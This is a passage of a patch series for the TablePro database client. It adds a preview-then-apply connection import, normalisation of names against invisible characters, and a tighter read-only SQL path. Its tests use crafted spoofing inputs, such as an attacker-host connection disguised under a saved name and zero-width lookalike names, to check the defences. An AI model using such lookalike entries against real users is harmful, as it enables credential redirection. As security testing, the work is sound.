+            .iter()
+            .filter(|entry| entry.change == ImportChange::Added)
+            .count();
+        ImportReport {
+            added,
+            updated: self.entries.len() - added,
+        }
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ImportEntry {
+    pub connection: SavedConnection,
+    pub change: ImportChange,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ImportChange {
+    /// A connection the list did not have, including one whose id was
+    /// taken by a different connection and was given its own.
+    Added,
+    /// A connection already in the list that the file only renamed,
+    /// recoloured, regrouped, retagged or gave another icon.
+    Updated,
+}
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum RemoveOutcome {
     Removed,
@@ -524,7 +572,17 @@ impl ConnectionStore {
         Ok(crate::document::encode_document(&document)?)
     }
 
-    /// Merge an exported document back into the list.
+    /// Merge an exported document back into the list, as
+    /// [`Self::preview_import_blocking`] and [`Self::apply_import_blocking`]
+    /// do it in two steps.
+    pub fn import_blocking(&self, path: &Path, bytes: &[u8]) -> Result<ImportReport, StorageError> {
+        let preview = self.preview_import_blocking(path, bytes)?;
+        self.apply_import_blocking(&preview)
+    }
+
+    /// What merging an exported document would do to the list, worked
+    /// out without writing anything, so the user can see every host and
+    /// setting the file brings before it is saved.
     ///
     /// Connections are matched by id, so re-importing a file the user
     /// exported from this machine updates the entries it came from
@@ -538,53 +596,83 @@ impl ConnectionStore {
     /// starts with no secrets, so a crafted file cannot point a saved
     /// connection's password at another host.
     ///
-    /// An imported entry never takes a name another entry holds, and an
-    /// added one never takes the file's last-opened time, so a file
+    /// An imported entry never takes a name another entry holds or held
+    /// when the import began, whatever order the file lists them in, and
+    /// an added one never takes the file's last-opened time, so a file
     /// cannot pass one host off as another saved connection or sort it
     /// above one.
     ///
     /// Tags are matched by id first and then by name, so importing a
     /// file twice, or a file from a machine whose `production` tag has
     /// another id, leaves one tag of each name.
-    pub fn import_blocking(&self, path: &Path, bytes: &[u8]) -> Result<ImportReport, StorageError> {
+    pub fn preview_import_blocking(&self, path: &Path, bytes: &[u8]) -> Result<ImportPreview, StorageError> {
         let mut incoming = crate::document::decode_document::<ConnectionsDocument>(path, bytes)
             .map_err(StorageError::DocumentUnavailable)?;
         incoming.tidy();
         let mut state = self.lock();
-        let mut document = self.ensure_loaded(&mut state)?;
-        let mut report = ImportReport::default();
+        let before = self.ensure_loaded(&mut state)?;
+        let mut document = before.clone();
+        let held: HashMap<String, Uuid> = document
+            .connections
+            .iter()
+            .map(|saved| (saved.name.clone(), saved.id))
+            .collect();
+        let mut entries = Vec::with_capacity(incoming.connections.len());
         let same = merge_tags(&mut document.tags, incoming.tags);
         for mut connection in incoming.connections {
             connection.tags = connection.tags.iter().filter_map(|id| same.get(id).copied()).collect();
             let list = &mut document.connections;
             match list.iter().position(|saved| saved.id == connection.id) {
                 Some(index) if list[index].connects_like(&connection) => {
-                    let name = unclaimed_name(list, &connection.name, Some(connection.id));
+                    let name = unclaimed_name(list, &held, &connection.name, Some(connection.id));
                     let existing = &mut list[index];
                     existing.name = name;
                     existing.color = connection.color;
                     existing.group = connection.group;
                     existing.tags = connection.tags;
                     existing.icon = connection.icon;
-                    report.updated += 1;
+                    entries.push(ImportEntry {
+                        connection: existing.clone(),
+                        change: ImportChange::Updated,
+                    });
                 }
                 Some(_) => {
                     connection.id = Uuid::new_v4();
-                    add_imported(list, connection);
-                    report.added += 1;
+                    entries.push(ImportEntry {
+                        connection: add_imported(list, &held, connection),
+                        change: ImportChange::Added,
+                    });
                 }
                 None => {
-                    add_imported(list, connection);
-                    report.added += 1;
+                    entries.push(ImportEntry {
+                        connection: add_imported(list, &held, connection),
+                        change: ImportChange::Added,
+                    });
                 }
             }
         }
+        Ok(ImportPreview {
+            entries,
+            before,
+            after: document,
+        })
+    }
+
+    /// Write what a preview showed. A list that changed since then is
+    /// refused, since the user agreed to that preview and not another.
+    pub fn apply_import_blocking(&self, preview: &ImportPreview) -> Result<ImportReport, StorageError> {
+        let report = preview.report();
+        let mut state = self.lock();
+        let current = self.ensure_loaded(&mut state)?;
+        if current != preview.before {
+            return Err(StorageError::ImportOutdated);
+        }
         // Nothing to write for an empty file, and writing anyway would
         // rewrite the list for no reason.
         if report.total() == 0 {
             return Ok(report);
         }
-        self.commit(&mut state, document)?;
+        self.commit(&mut state, preview.after.clone())?;
         Ok(report)
     }
 
@@ -730,18 +818,25 @@ fn merge_tags(local: &mut Vec<ConnectionTag>, incoming: Vec<ConnectionTag>) -> H
 /// Add an entry the import brought. Two rows of one name, one of them
 /// pointing somewhere else, would leave the user guessing which is
 /// theirs, and a file's last-opened time is no open on this machine.
-fn add_imported(list: &mut Vec<SavedConnection>, mut connection: SavedConnection) {
-    connection.name = unclaimed_name(list, &connection.name, None);
+fn add_imported(
+    list: &mut Vec<SavedConnection>,
+    held: &HashMap<String, Uuid>,
+    mut connection: SavedConnection,
+) -> SavedConnection {
+    connection.name = unclaimed_name(list, held, &connection.name, None);
     connection.last_opened_at = None;
-    list.push(connection);
+    list.push(connection.clone());
+    connection
 }
 
 /// `name`, or a suffixed one when an entry other than `owner` holds it.
-fn unclaimed_name(list: &[SavedConnection], name: &str, owner: Option<Uuid>) -> String {
+fn unclaimed_name(list: &[SavedConnection], held: &HashMap<String, Uuid>, name: &str, owner: Option<Uuid>) -> String {
     let taken: Vec<&str> = list
         .iter()
-        .filter(|saved| Some(saved.id) != owner)
-        .map(|saved| saved.name.as_str())
+        .map(|saved| (saved.name.as_str(), saved.id))
+        .chain(held.iter().map(|(name, id)| (name.as_str(), *id)))
+        .filter(|(_, id)| Some(*id) != owner)
+        .map(|(name, _)| name)
         .collect();
     if taken.contains(&name) {
         suffixed_name(name, "imported", &taken)
@@ -1453,6 +1548,161 @@ mod tests {
         assert_eq!(added.last_opened_at, None, "the file's last-opened time came along");
     }
 
+    #[test]
+    fn a_rename_in_the_file_does_not_free_the_name_for_an_added_entry() {
+        let root = TempDir::new().expect("tempdir");
+        let store = store(&root);
+        let mine = saved("production");
+        store.upsert_blocking(mine.clone()).expect("upsert");
+        let renamed = SavedConnection {
+            name: "staging".to_owned(),
+            ..mine.clone()
+        };
+        let lookalike = SavedConnection {
+            host: "db.attacker.example".to_owned(),
+            ..saved("production")
+        };
+        let bytes = crate::document::encode_document(&ConnectionsDocument {
+            connections: vec![renamed, lookalike.clone()],
+            ..ConnectionsDocument::default()
+        })
+        .expect("encode");
+
+        let report = store.import_blocking(Path::new("/tmp/c.json"), &bytes).expect("import");
+
+        assert_eq!(report, ImportReport { added: 1, updated: 1 });
+        let list = store.load_blocking().expect("load");
+        let kept = list.iter().find(|saved| saved.id == mine.id).expect("the saved entry");
+        assert_eq!(kept.name, "staging");
+        let added = list.iter().find(|saved| saved.id == lookalike.id).expect("the import");
+        assert_eq!(added.name, "production (imported)");
+    }
+
+    #[test]
+    fn a_rename_in_the_file_does_not_free_the_name_for_another_saved_entry() {
+        let root = TempDir::new().expect("tempdir");
+        let store = store(&root);
+        let production = saved("production");
+        let staging = SavedConnection {
+            host: "staging.internal".to_owned(),
+            ..saved("staging")
+        };
+        store.upsert_blocking(production.clone()).expect("upsert");
+        store.upsert_blocking(staging.clone()).expect("upsert");
+        let swapped = vec![
+            SavedConnection {
+                name: "staging".to_owned(),
+                ..production.clone()
+            },
+            SavedConnection {
+                name: "production".to_owned(),
+                ..staging.clone()
+            },
+        ];
+        let bytes = crate::document::encode_document(&ConnectionsDocument {
+            connections: swapped,
+            ..ConnectionsDocument::default()
+        })
+        .expect("encode");
+
+        let report = store.import_blocking(Path::new("/tmp/c.json"), &bytes).expect("import");
+
+        assert_eq!(report, ImportReport { added: 0, updated: 2 });
+        let list = store.load_blocking().expect("load");
+        let first = list.iter().find(|saved| saved.id == production.id).expect("production");
+        assert_eq!(first.name, "staging (imported)");
+        let second = list.iter().find(|saved| saved.id == staging.id).expect("staging");
+        assert_eq!(second.name, "production (imported)");
+    }
+
+    #[test]
+    fn a_name_that_only_looks_like_a_saved_one_is_suffixed() {
+        for lookalike in [
+            "production ",
+            " production",
+            "production\u{a0}",
+            "produ\u{200b}ction",
+            "\u{feff}production",
+            "production\u{2060}",
+        ] {
+            let root = TempDir::new().expect("tempdir");
+            let store = store(&root);
+            store.upsert_blocking(saved("production")).expect("upsert");
+            let imported = SavedConnection {
+                host: "db.attacker.example".to_owned(),
+                ..saved(lookalike)
+            };
+            let bytes = crate::document::encode_document(&ConnectionsDocument {
+                connections: vec![imported.clone()],
+                ..ConnectionsDocument::default()
+            })
+            .expect("encode");
+
+            store.import_blocking(Path::new("/tmp/c.json"), &bytes).expect("import");
+
+            let list = store.load_blocking().expect("load");
+            let added = list.iter().find(|saved| saved.id == imported.id).expect("the import");
+            assert_eq!(added.name, "production (imported)", "{lookalike:?}");
+        }
+    }
+
+    #[test]
+    fn a_rename_is_stored_as_the_list_shows_it() {
+        let root = TempDir::new().expect("tempdir");
+        let store = store(&root);
+        let mine = saved("staging");
+        store.upsert_blocking(mine.clone()).expect("upsert");
+
+        let updated = store
+            .update_blocking(mine.id, |saved| saved.name = "pro\u{200b}duction ".to_owned())
+            .expect("update")
+            .expect("the entry");
+
+        assert_eq!(updated.name, "production");
+        let list = store.load_blocking().expect("load");
+        assert_eq!(list[0].name, "production");
+    }
+
+    #[test]
+    fn a_preview_writes_nothing_and_is_refused_once_the_list_changed() {
+        let root = TempDir::new().expect("tempdir");
+        let store = store(&root);
+        store.upsert_blocking(saved("mine")).expect("upsert");
+        let theirs = SavedConnection {
+            host: "db.elsewhere.example".to_owned(),
+            ..saved("theirs")
+        };
+        let bytes = crate::document::encode_document(&ConnectionsDocument {
+            connections: vec![theirs.clone()],
+            ..ConnectionsDocument::default()
+        })
+        .expect("encode");
+
+        let preview = store
+            .preview_import_blocking(Path::new("/tmp/c.json"), &bytes)
+            .expect("preview");
+
+        assert_eq!(preview.entries().len(), 1);
+        assert_eq!(preview.entries()[0].change, ImportChange::Added);
+        assert_eq!(preview.entries()[0].connection.host, "db.elsewhere.example");
+        assert_eq!(store.load_blocking().expect("load").len(), 1);
+
+        store.upsert_blocking(saved("another")).expect("upsert");
+        assert!(matches!(
+            store.apply_import_blocking(&preview),
+            Err(StorageError::ImportOutdated)
+        ));
+
+        let fresh = store
+            .preview_import_blocking(Path::new("/tmp/c.json"), &bytes)
+            .expect("preview");
+        assert_eq!(
+            store.apply_import_blocking(&fresh).expect("apply"),
+            ImportReport { added: 1, updated: 0 }
+        );
+        assert_eq!(store.load_blocking().expect("load").len(), 3);
+    }
+
     #[test]
     fn an_import_leaves_the_connections_the_file_does_not_mention() {
         let root = TempDir::new().expect("tempdir");
diff --git a/linux/crates/storage/src/error.rs b/linux/crates/storage/src/error.rs
index c558cac8aa..afda34e0e6 100644
--- a/linux/crates/storage/src/error.rs
+++ b/linux/crates/storage/src/error.rs
@@ -67,4 +67,7 @@ pub enum StorageError {
 
     #[error("{} is not valid UTF-8 from byte {offset}", .path.display())]
     DraftNotUtf8 { path: std::path::PathBuf, offset: usize },
+
+    #[error("the saved connections changed after the import was previewed")]
+    ImportOutdated,
 }
diff --git a/linux/crates/storage/src/lib.rs b/linux/crates/storage/src/lib.rs
index 49c82d5750..f86688e6d1 100644
--- a/linux/crates/storage/src/lib.rs
+++ b/linux/crates/storage/src/lib.rs
@@ -26,8 +26,8 @@ pub use connection_icon::ConnectionIcon;
 pub use connection_tag::ConnectionTag;
 pub use connection_tag_name::ConnectionTagName;
 pub use connections::{
-    ConnectionList, ConnectionListSnapshot, ConnectionListState, ConnectionStore, ImportReport, RemoveOutcome,
-    SavedConnection, SavedSshAuth, SavedSshConfig,
+    ConnectionList, ConnectionListSnapshot, ConnectionListState, ConnectionStore, ImportChange, ImportEntry,
+    ImportPreview, ImportReport, RemoveOutcome, SavedConnection, SavedSshAuth, SavedSshConfig,
 };
 pub use credentials::{
     CredentialDemand, CredentialError, KeyringCredentials, KeyringError, ResolvedSecret, SecretLabeler,
diff --git a/linux/crates/storage/src/name_rules.rs b/linux/crates/storage/src/name_rules.rs
index 6da5f1ed61..b81ee033d8 100644
--- a/linux/crates/storage/src/name_rules.rs
+++ b/linux/crates/storage/src/name_rules.rs
@@ -32,10 +32,44 @@ pub(crate) fn cleaned(value: &str, max: usize) -> String {
     shown.trim().chars().take(max).collect()
 }
 
+/// A connection's name as the list shows it: control characters as
+/// spaces, characters that show as nothing dropped, and no blanks around
+/// it. Two names that read the same have the same form, so one cannot
+/// pass for the other.
+pub(crate) fn shown(value: &str) -> String {
+    let visible: String = value
+        .chars()
+        .filter(|c| !tablepro_core::unicode_blank::is_default_ignorable(*c))
+        .map(|c| if c.is_control() { ' ' } else { c })
+        .collect();
+    visible.trim().to_owned()
+}
+
+/// A stored name, read as [`shown`] gives it.
+pub(crate) fn deserialize_shown<'de, D: serde::Deserializer<'de>>(deserializer: D) -> Result<String, D::Error> {
+    let name = <String as serde::Deserialize>::deserialize(deserializer)?;
+    Ok(shown(&name))
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
 
+    #[test]
+    fn a_shown_name_drops_what_cannot_be_seen() {
+        for lookalike in [
+            "production",
+            " production ",
+            "production\u{a0}",
+            "pro\u{200b}duction",
+            "\u{feff}production",
+            "production\u{2060}\t",
+        ] {
+            assert_eq!(shown(lookalike), "production", "{lookalike:?}");
+        }
+        assert_eq!(shown("prod\nuction"), "prod uction");
+    }
+
     #[test]
     fn a_name_is_trimmed_and_checked_in_characters() {
         assert_eq!(checked("  Work ", 4), Ok("Work"));
diff --git a/linux/crates/test-support/src/fake_dialect.rs b/linux/crates/test-support/src/fake_dialect.rs
index 8f6137224c..e6c8a78327 100644
--- a/linux/crates/test-support/src/fake_dialect.rs
+++ b/linux/crates/test-support/src/fake_dialect.rs
@@ -108,6 +108,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
     ],
     conditional_prefixes: &[],
     carriers: &[],
+    secret_parameters: &[],
 };
 
 /// The parameter type that carries a value as it is, so a fake bind
diff --git a/linux/docs/drivers/mysql.md b/linux/docs/drivers/mysql.md
index 0fd7c9ce52..3009052af2 100644
--- a/linux/docs/drivers/mysql.md
+++ b/linux/docs/drivers/mysql.md
@@ -96,7 +96,7 @@ A call that timed out or lost its connection is checked before the link is decla
 
 `ReadOnlyEnforcement::SessionDefault`: `SET SESSION TRANSACTION READ ONLY` on every session. Saves are refused before anything is sent, and a write through generated SQL fails with 1792. At Safe Mode Read-Only the app refuses every editor statement that does not read before it is sent, `SET TRANSACTION READ WRITE` included; a function a `SELECT` calls is the server's to refuse. For a guarantee, connect with a login that has no write privileges.
 
-An export, on any connection, runs in `START TRANSACTION READ ONLY` and refuses user SQL that Safe Mode would not count as a read (`tablepro_core::sql_syntax::statement_access`).
+An export, on any connection, runs in `START TRANSACTION READ ONLY` and refuses user SQL that Safe Mode would not count as a read (`tablepro_core::sql_syntax::statement_access`). The text protocol runs every statement a text holds, so user SQL is first prepared, which the server parses with multiple statements off: a text it reads as two fails there, and one it parses but does not prepare (1295, such as some `SHOW`) still runs.
 
 Safe Mode reads text every way the client or a server may read it, and the strictest reading stands (`tablepro_core::sql_syntax::script::ScriptPlan::server_readings`):
 
diff --git a/linux/docs/drivers/postgresql.md b/linux/docs/drivers/postgresql.md
index a8bca11a92..e65ccd2687 100644
--- a/linux/docs/drivers/postgresql.md
+++ b/linux/docs/drivers/postgresql.md
@@ -34,13 +34,14 @@ COMMIT
 - Reads always run in a `READ ONLY` transaction, also on a read-write connection.
 - `statement_timeout` is the nearer of the call's deadline and the workspace's 60 s. `lock_timeout` is 10 s, so a blocked edit reports the lock instead of a generic timeout.
 - `SET LOCAL` ends with the transaction, so nothing is left on a server connection a pooler shares.
+- A catalog read runs under the session's own search_path, so names print as the user's session sees them, and resolves nothing through it: every function is written `pg_catalog.<name>`, and every operator compares two values of one built-in type, cast where they differ (`attrelid = $1::text::regclass::oid`), or is written `OPERATOR(pg_catalog.<op>)`. A lookalike another user creates on the path can then only tie with the built-in, and `pg_catalog`, searched first, wins the tie. `bare_calls` in `metadata/mod.rs` checks every catalog statement for an unqualified call.
 - Generated SQL runs on the unnamed statement (`query_typed_raw`, `execute_typed`) with typed parameters. Nothing is prepared under a name.
 - A connection whose flight did not end with an acknowledged COMMIT or ROLLBACK is taken out of the pool, because deadpool's recycle check (`RecyclingMethod::Verified`) passes inside a half-finished transaction.
 - A read that returns no rows still has its columns: the statement runs once more as a subquery right-joined to one row on a false condition, in a read-only transaction of its own.
 - A column of a type tokio-postgres does not know (an enum, `citext`, a domain) would make it prepare a type lookup under a name. Pages project such columns as text, so a read never does.
 - chrono ends at 262143 AD, and the server keeps dates to 5874897 AD and timestamps to 294276 AD. A value past chrono's end reads as the text the server would print for it, so the cell shows it rather than saying it cannot. A cell edit or a CSV import takes such text back, and it binds as text cast to the column's type.
 
-`probe` takes a pool slot without waiting; when every slot is busy it opens a connection of its own and runs `SELECT 1`. `stream_read` opens a connection of its own, runs `START TRANSACTION READ ONLY` with no statement timeout, and refuses user SQL that would end that transaction (transaction control, `CALL`, `DO`) before sending anything.
+`probe` takes a pool slot without waiting; when every slot is busy it opens a connection of its own and runs `SELECT 1`. `stream_read` opens a connection of its own, runs `START TRANSACTION READ ONLY` with no statement timeout, and refuses user SQL that would end that transaction (transaction control, `CALL`, `DO`) before sending anything. User SQL is first parsed with the extended protocol, whose Parse refuses a text that holds more than one statement, and then runs as a simple query, which splits text with the same parser and keeps every value as the server's text, so nothing can follow the read inside its transaction. The Parse prepares under a name, which is safe because the connection is the call's own.
 
 ## Stops and timeouts
 
diff --git a/linux/docs/drivers/sqlite.md b/linux/docs/drivers/sqlite.md
index a989064003..f5db580130 100644
--- a/linux/docs/drivers/sqlite.md
+++ b/linux/docs/drivers/sqlite.md
@@ -65,6 +65,8 @@ The workspace statement timeout (60 s) becomes a deadline the flag enforces. The
 
 `ReadOnlyEnforcement::EngineEnforced`: the file is opened read-only, so SQLite refuses every write, whatever the SQL (`SQLITE_READONLY`, reported as `ReadOnly(ServerRejected)`). Saves on a read-only connection are refused before anything is sent. Exports always open their connection read-only.
 
+A read-only open still lets SQLite attach another file and write a copy with `VACUUM INTO`, and a pragma such as `foreign_keys` or `hard_heap_limit` changes the connection while SQLite compiles it, `EXPLAIN PRAGMA` included. The connection `stream_read` opens for user SQL (exports and MCP reads) therefore allows no attached database (`SQLITE_LIMIT_ATTACHED` 0), its authorizer denies ATTACH and every pragma but the reporting ones, and the text must prepare to one statement with nothing but comments after it, since sqlx runs every statement a text holds.
+
 ## Writes
 
 `WriteAtomicity::Transactional` for row and schema changes. A save is one transaction that starts with `BEGIN IMMEDIATE`, which takes the write lock before the first probe reads anything. Grid saves, structure changes and imports all go through it. Another connection holding the lock shows up in one of two places, each as `Busy(FileLocked)` after the lock timeout, and the file keeps none of the save:
diff --git a/linux/docs/storage.md b/linux/docs/storage.md
index e90415956b..d83da66845 100644
--- a/linux/docs/storage.md
+++ b/linux/docs/storage.md
@@ -17,7 +17,7 @@ The app's data goes to the store its shape calls for. The `storage` crate owns t
 
 `ConnectionStore` holds the saved-connection list, one store per storage root:
 
-- `load_blocking`, `upsert_blocking`, `update_blocking`, `remove_blocking`, `touch_last_opened_blocking`, `import_blocking` and `export_blocking` run off the GTK thread. A change holds the store's lock across read, change and write, so two writers never lose an entry. `update_blocking` changes one entry as the list holds it at the write, so a last-opened stamp from another window in between is kept.
+- `load_blocking`, `upsert_blocking`, `update_blocking`, `remove_blocking`, `touch_last_opened_blocking`, `preview_import_blocking`, `apply_import_blocking` and `export_blocking` run off the GTK thread. A change holds the store's lock across read, change and write, so two writers never lose an entry. `update_blocking` changes one entry as the list holds it at the write, so a last-opened stamp from another window in between is kept.
 - A write goes through `write_private_blocking` first and the cached list changes only once it landed, so a failed write leaves both as they were.
 - `subscribe` hands out a watch of `ConnectionListSnapshot`, so every picker sees every writer's change.
 - A file that cannot be read, or that another version wrote, leaves the store `Unavailable`, and it refuses every write until the user picks Reset (`reset_unreadable_blocking`), which moves the file aside.
@@ -29,6 +29,8 @@ The app's data goes to the store its shape calls for. The `storage` crate owns t
 - The file's `tags` list holds every `ConnectionTag`: an `id`, a `name` (`ConnectionTagName`: trimmed, 1 to 32 characters, no control characters, cleaned on read as a group's is) and a `color` from the same palette as `color`. No two tags share a name in any case: `create_tag_blocking` and `update_tag_blocking` refuse one with `TagNameTaken`.
 - A connection's `tags` are ids from that list. Every write drops an id the list lacks and a repeated one, so `delete_tag_blocking` takes the tag off every connection in the same write, and a connection saved with a tag deleted meanwhile loses it.
 - `icon` is one of the `ConnectionIcon` names. The app draws each with a symbolic icon from the theme (`crates/app/src/ui/icons.rs`).
+- A connection's `name` is stored and compared as the list shows it: control characters as spaces, characters that show as nothing (U+200B, U+FEFF) dropped, no blanks around it, so a name that looks like a saved one is the same name.
+- An import is previewed first: `preview_import_blocking` works out every entry as it will be saved and writes nothing, the app shows each one with its host, and `apply_import_blocking` writes that result, or refuses with `ImportOutdated` when the list changed in between. An imported entry never takes a name another entry holds or held before the import, whatever order the file lists them in.
 - On import, a tag is matched by id, then by name in any case, and added only when neither matches, so importing a file twice leaves one tag of each name. A tag matched by id takes the file's colour, and its name unless another tag has it. A connection updated by an import takes the file's tags and icon.
 - An edit, a copy or a move to another group goes through the app's `SavedConnectionEditor`, which writes the keyring first. A refused secret stops before the list changes, and the secrets of a copy whose entry did not land are deleted again. Edits and copies run one at a time, so two windows editing one connection never leave the host of one with the password of the other.
 
@@ -248,7 +250,12 @@ script lexer:
   only with a given word (`GRANT ... IDENTIFIED`), and functions or engines
   that take a password (`dblink`, `OPENROWSET`, `s3`). A routine body is
   read for the statements inside it, whether dollar-quoted or, on
-  PostgreSQL, a plain string after `DO` or `AS`. The text is read every
+  PostgreSQL, a plain string after `DO` or `AS`. So is every string of a
+  script that hands the server text to run (T-SQL `EXEC` and
+  `sp_executesql`, MySQL `PREPARE ... FROM` and `EXECUTE IMMEDIATE`,
+  PL/pgSQL `EXECUTE`), since the text may reach them through a variable.
+  On SQL Server a named argument whose name holds `password` or `pwd`
+  withholds the entry whatever the procedure. The text is read every
   way the server may read it: with and without backslash escapes, and
   with each MySQL `/*!` comment run or skipped as each server version
   would.
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index bde86fdf4b..a3af478f42 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -430,6 +430,7 @@ crates/app/src/ui/host_key_failure.rs
 crates/app/src/ui/host_key_review.rs
 crates/app/src/ui/icons.rs
 crates/app/src/ui/import_dialog.rs
+crates/app/src/ui/import_preview.rs
 crates/app/src/ui/key_tab/key_summary.rs
 crates/app/src/ui/key_tab/mod.rs
 crates/app/src/ui/key_tab/tests.rs

From c40c3561e0bb513e5a8dbeba620a52a27e2fb428 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 16:36:43 +0700
Subject: [PATCH 42/44] fix(sidebar): show the loaded table list when its
 spinner started in the same turn (#3893)

---
 .../Extensions/NSWindow+FirstFrame.swift       | 13 ++++++++-----
 apple/TablePro/Views/Sidebar/SidebarView.swift |  3 ++-
 .../Extensions/NSWindowNextFrameTests.swift    | 18 +++++++++++++++++-
 3 files changed, 27 insertions(+), 7 deletions(-)

diff --git a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
index eb851bc4ed..2b78ba91d6 100644
--- a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
+++ b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
@@ -61,11 +61,14 @@ internal extension NSWindow {
 /// Work that must not share a run loop turn with the frame this turn builds.
 @MainActor
 internal enum CommittedTurn {
-    /// Runs `body` after this turn's frame is committed, in a later turn. A main-queue hop alone can run
-    /// before the run loop waits, so the hang would still be one: both pieces between two waits.
-    static func after(_ body: @escaping @MainActor () -> Void) {
-        CATransaction.setCompletionBlock {
-            DispatchQueue.main.async { MainActor.assumeIsolated(body) }
+    /// Runs `body` once `window` has shown its next frame, or after `nextFrame`'s limit; with no window, on the
+    /// next main-actor turn. A main-queue hop alone can run before the run loop waits, so the hang would still be
+    /// one: both pieces between two waits. A transaction's completion block is no end either: it waits for every
+    /// animation the turn adds, and a spinning progress indicator's never finishes.
+    static func after(in window: NSWindow?, _ body: @escaping @MainActor () -> Void) {
+        Task { @MainActor in
+            await window?.nextFrame()
+            body()
         }
     }
 }
diff --git a/apple/TablePro/Views/Sidebar/SidebarView.swift b/apple/TablePro/Views/Sidebar/SidebarView.swift
index 1d9b0e002f..f3d3bc0ddd 100644
--- a/apple/TablePro/Views/Sidebar/SidebarView.swift
+++ b/apple/TablePro/Views/Sidebar/SidebarView.swift
@@ -210,7 +210,8 @@ struct SidebarView: View {
                 showsLoadedCatalog = false
                 return
             }
-            CommittedTurn.after { showsLoadedCatalog = true }
+            // A refresh can put the catalog back to loading before the frame, and a stale true skips the next hold.
+            CommittedTurn.after(in: coordinator?.contentWindow) { showsLoadedCatalog = isCatalogLoaded }
         }
         .onChange(of: viewModel.showOperationDialog) { isPresented in
             guard isPresented else { return }
diff --git a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
index ae48456d27..d5b5fa7913 100644
--- a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
+++ b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
@@ -53,11 +53,27 @@ struct NSWindowNextFrameTests {
 
     @Test("Work after the committed turn never runs in the turn that asked for it")
     func committedTurnRunsLater() async throws {
+        let window = Self.window()
         var ran = false
 
-        CommittedTurn.after { ran = true }
+        CommittedTurn.after(in: window) { ran = true }
 
         #expect(!ran)
         try await waitUntil { ran }
     }
+
+    // The sidebar held its list behind this while its own spinner started in the same turn, and kept the spinner.
+    @Test("Work after the committed turn runs even when that turn starts a spinner that never stops")
+    func committedTurnOutlastsASpinner() async throws {
+        let window = Self.window()
+        var ran = false
+
+        CommittedTurn.after(in: window) { ran = true }
+        let spinner = NSProgressIndicator(frame: NSRect(x: 0, y: 0, width: 32, height: 32))
+        spinner.style = .spinning
+        window.contentView?.addSubview(spinner)
+        spinner.startAnimation(nil)
+
+        try await waitUntil { ran }
+    }
 }

From 5efd8ecc955fef610ad4f11d1b70488749e8be9d Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 13:21:11 +0100
Subject: [PATCH 43/44] docs(linux): record how a query tab reaches another
 database (#3901)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 ...0030-a-database-is-a-session-of-its-own.md | 38 +++++++++++++++++++
 linux/docs/decisions/README.md                |  1 +
 2 files changed, 39 insertions(+)
 create mode 100644 linux/docs/decisions/0030-a-database-is-a-session-of-its-own.md

diff --git a/linux/docs/decisions/0030-a-database-is-a-session-of-its-own.md b/linux/docs/decisions/0030-a-database-is-a-session-of-its-own.md
new file mode 100644
index 0000000000..f2a1d5d0b0
--- /dev/null
+++ b/linux/docs/decisions/0030-a-database-is-a-session-of-its-own.md
@@ -0,0 +1,38 @@
+# 0030: A query tab's database, and another database as a session of its own
+
+- **Status**: Accepted
+- **Date**: 2026-10-30
+
+## Context
+
+A session is one connection to one database ([0028](0028-sessions-share-a-window.md)). A query tab can run in another of the server's databases, through the editor bar or a `USE` the user types. Engines get there in different ways: MySQL, MariaDB and SQL Server move a live session with `USE`, ClickHouse names the database in every request, Cassandra moves its keyspace, MongoDB's shell keeps a current database, and PostgreSQL binds the database when the connection opens. The window's sidebar and the completion catalog read the database the connection opened.
+
+[0012](0012-window-per-session.md) rejected a session that changes in place under its parts, and 0028 keeps a tab on the session it was built with.
+
+## Decision
+
+A query tab keeps its database, and its own editor session goes there. `EditorSession::use_database` moves a live session by the engine's own means; where the engine binds the database at connect, the driver refuses it and the tab gets an editor session opened in that database (`EditorSessionOptions::database`). A session reports the database a `USE` left it in, and the tab follows. The tab never changes session: its workspace, Safe Mode and teardown stay its connection's.
+
+What the window shows of another database is a sibling session, `Session::open_in_database`: the same server and login, opened as a reconnect is. It joins the window with a workspace and a sidebar row of its own, from Open Database… on a connection's row, or when a tab moves to that database. Completion in a moved tab reads the sibling's catalog.
+
+## Rationale
+
+- **A tab keeps what it built.** A `USE` keeps the tab's temporary tables and settings. The database menu waits while the tab holds a transaction, so a move never rolls one back.
+- **The tab's session does not wait on the window's.** A PostgreSQL tab opens in its database over its own connection, with the secret the connection already holds, so a restored tab or a lost connection reopens there without a sibling.
+- **The catalog is the database's own.** A sibling lists its own database, so the sidebar and completion are right on engines whose databases hold schemas. Until it opens, completion reads the connection's catalog where the server's databases are its schemas (MySQL, ClickHouse, Cassandra, MongoDB) and offers no tables where they are not.
+- **No session changes under its parts.** A sibling is a session like any other, so 0012 and 0028 hold.
+
+## Consequences
+
+- A sibling opens with the stored secret and never prompts; one that cannot open says so in a toast and the tab still runs in its database.
+- The registry keys a sibling by its connection and database, so a database opens once per window. It goes when its connection disconnects.
+- A tab names its database in its title when it is not the connection's.
+- The workspace record keeps a tab's database, and a restore reopens a connection's open databases beside it once it has joined.
+
+## Alternatives considered
+
+**One session that follows the tab in front.** Every part reading the session would reset at each tab switch, which 0012 rejected.
+
+**Every move opens a new editor session.** One path for every engine, but a `USE` engine would lose its temporary tables and settings at each move.
+
+**A PostgreSQL tab runs on its sibling's connection.** The tab would depend on a window session the user can close, and a password typed only for the connection could not open it.
